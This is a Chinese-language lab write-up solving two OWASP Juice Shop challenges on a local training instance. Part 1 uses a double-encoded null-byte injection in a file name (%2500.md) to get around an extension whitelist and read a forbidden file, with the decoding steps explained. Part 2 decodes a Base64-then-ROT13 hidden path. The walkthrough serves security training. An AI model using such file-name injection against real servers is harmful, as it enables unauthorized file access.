# 【juice-shop】★★★★ Easter Egg && Nested Easter Egg：Null Byte 注入与多层加密解析


# 【juice-shop】★★★★ Easter Egg && Nested Easter Egg：Null Byte 注入与多层加密解析

---

# Part 1 - Easter Egg

## 任务简报

<blockquote style="border-left: 5px solid #ff6b6b; background-color: #ffe0e0; padding: 20px; margin: 1.5rem 0; color: #c92a2a; line-height: 1.8; border-radius: 0 5px 5px 0;">
<div style="font-weight: bold; font-size: 1.1rem; margin-bottom: 10px; display: flex; align-items: center;">
<span style="margin-right: 8px;">🎯</span> 挑战目标
</div>
找到隐藏的复活节彩蛋。
</blockquote>

<blockquote style="border-left: 5px solid #6f42c1; background-color: #f5f3ff; padding: 20px; margin: 1.5rem 0; color: #5521b5; line-height: 1.8; border-radius: 0 5px 5px 0;">
<div style="font-weight: bold; font-size: 1.1rem; margin-bottom: 10px; display: flex; align-items: center;">
<span style="margin-right: 8px;">💡</span> 官方提示 (Hints)
</div>
1. 若你已破解四项文件访问挑战中的任意一项，便已知晓彩蛋的藏匿之处。<br>
2. 只需重复使用对上述文件已奏效的技巧即可。
</blockquote>

---

## 实战：复现漏洞

### 步骤1：访问 FTP 目录

访问应用暴露的 FTP 目录：

```
http://127.0.0.1:3000/ftp/
```

在目录列表中发现隐藏的彩蛋文件 `eastere.gg`。

![FTP 目录](../../../../../../public/p/juice-shop-easter-egg-nested-easter-eggnull-byte-注入与多层加密解析/assets/Pastedimage20260417170143.png)

### 步骤2：使用 Null Byte 注入绕过访问限制

直接访问该文件会返回 403，在文件名后添加 `%2500.md` 进行 Null Byte 注入：

```
http://127.0.0.1:3000/ftp/eastere.gg%2500.md
```

**Payload 说明：**

| 部分 | 说明 |
|------|------|
| `eastere.gg` | 目标文件名 |
| `%25` | URL 编码的 `%` |
| `00` | 空字节的十六进制表示 |
| `.md` | 绕过扩展名检查的白名单后缀 |

**解码流程：**

```
%2500 → 第一次解码 → %00 → 第二次解码 → \0（空字节）

服务器检查: eastere.gg\0.md → 以 .md 结尾 ✅ 通过检查
文件系统:   eastere.gg\0.md → 在 \0 处截断 → eastere.gg ✅ 读取文件
```

**结果：** 成功下载 `eastere.gg` 文件，Part 1 挑战完成！🎉

还有第二关？

---

# Part 2 - Nested Easter Egg

## 任务简报

<blockquote style="border-left: 5px solid #ff6b6b; background-color: #ffe0e0; padding: 20px; margin: 1.5rem 0; color: #c92a2a; line-height: 1.8; border-radius: 0 5px 5px 0;">
<div style="font-weight: bold; font-size: 1.1rem; margin-bottom: 10px; display: flex; align-items: center;">
<span style="margin-right: 8px;">🎯</span> 挑战目标
</div>
使用一些高级加密分析来找到真正的复活节彩蛋。
</blockquote>

<blockquote style="border-left: 5px solid #6f42c1; background-color: #f5f3ff; padding: 20px; margin: 1.5rem 0; color: #5521b5; line-height: 1.8; border-radius: 0 5px 5px 0;">
<div style="font-weight: bold; font-size: 1.1rem; margin-bottom: 10px; display: flex; align-items: center;">
<span style="margin-right: 8px;">💡</span> 官方提示 (Hints)
</div>
1. 为了应对这一挑战，您可能必须绕过几层"意志坚定"的加密手段。<br>
2. 请务必先解决"寻找隐藏彩蛋"的任务。<br>
3. 为了应对这一挑战，您可能必须绕过几层"意志坚定"的加密手段。
</blockquote>

---

## 实战：复现漏洞

### 步骤1：分析 eastere.gg 文件内容

下载的文件内容如下：

```
"恭喜，你找到了彩蛋！"
- 极其幽默的开发者

...

...

...

哦等等，这根本不是彩蛋！这只是个无聊的文本文件！真正的彩蛋在这里：

L2d1ci9xcmlmL25lci9mYi9zaGFhbC9ndXJsL3V2cS9uYS9ybmZncmUvcnR0L2p2Z3V2YS9ndXIvcm5mZ3JlL3J0dA==

祝你好运，彩蛋猎人！%
```

![文件内容](../../../../../../public/p/juice-shop-easter-egg-nested-easter-eggnull-byte-注入与多层加密解析/assets/Pastedimage20260417172034.png)

**关键发现：** 文件末尾包含一段 Base64 编码的字符串。

### 步骤2：Base64 解码

```bash
echo "L2d1ci9xcmlmL25lci9mYi9zaGFhbC9ndXJsL3V2cS9uYS9ybmZncmUvcnR0L2p2Z3V2YS9ndXIvcm5mZ3JlL3J0dA==" | base64 -d
```

**解码结果：**

```
/gur/qrif/ner/fb/shaal/gurl/uvq/na/rnfgre/rtt/jvguva/gur/rnfgre/rtt
```

**发现：** 解码后的内容看起来像一个 URL 路径，但字母被替换了，疑似 ROT13 加密。

### 步骤3：ROT13 解密

```bash
echo "/gur/qrif/ner/fb/shaal/gurl/uvq/na/rnfgre/rtt/jvguva/gur/rnfgre/rtt" | tr 'A-Za-z' 'N-ZA-Mn-za-m'
```

**解密结果：**

```
/the/devs/are/so/funny/they/hid/an/easter/egg/within/the/easter/egg
```

### 步骤4：访问真正的彩蛋

```
http://127.0.0.1:3000/the/devs/are/so/funny/they/hid/an/easter/egg/within/the/easter/egg
```

**结果：** 找到真正的彩蛋，Part 2 挑战完成！🎉

---

## 解密流程总结

```
┌─────────────────────────────────────────────────────────┐
│ 原始内容（eastere.gg 文件末尾）                         │
│ L2d1ci9xcmlmL25lci9mYi9zaGFhbC9ndXJsL3V2cS9u...      │
└──────────────────┬──────────────────────────────────────┘
                   │ Base64 解码
┌──────────────────▼──────────────────────────────────────┐
│ 第一层解密结果                                          │
│ /gur/qrif/ner/fb/shaal/gurl/uvq/na/rnfgre/rtt/...     │
└──────────────────┬──────────────────────────────────────┘
                   │ ROT13 解密
┌──────────────────▼──────────────────────────────────────┐
│ 第二层解密结果                                          │
│ /the/devs/are/so/funny/they/hid/an/easter/egg/...      │
└──────────────────┬──────────────────────────────────────┘
                   │ 访问 URL
┌──────────────────▼──────────────────────────────────────┐
│ 找到真正的彩蛋！                                        │
│ http://127.0.0.1:3000/the/devs/are/so/funny/...        │
└─────────────────────────────────────────────────────────┘
```

---

##  关键操作说明

### Base64 编码

```
特点：将二进制数据编码为可打印的 ASCII 字符
识别：字符串末尾通常有 = 或 == 填充
解码：echo "..." | base64 -d
```

### ROT13 加密

```
特点：将字母表中每个字母替换为其后第 13 个字母
识别：文本看起来像英文但无法阅读
解密：echo "..." | tr 'A-Za-z' 'N-ZA-Mn-za-m'

示例：
A → N    N → A
B → O    O → B
g → t    t → g
```

---

## 参考资源

- [OWASP Juice Shop 官方解决方案 - Easter Egg](https://pwning.owasp-juice.shop/companion-guide/latest/appendix/solutions.html#_find_the_hidden_easter_egg)
- [OWASP Juice Shop 官方解决方案 - Nested Easter Egg](https://pwning.owasp-juice.shop/companion-guide/latest/appendix/solutions.html#_apply_some_advanced_cryptanalysis_to_find_the_real_easter_egg)






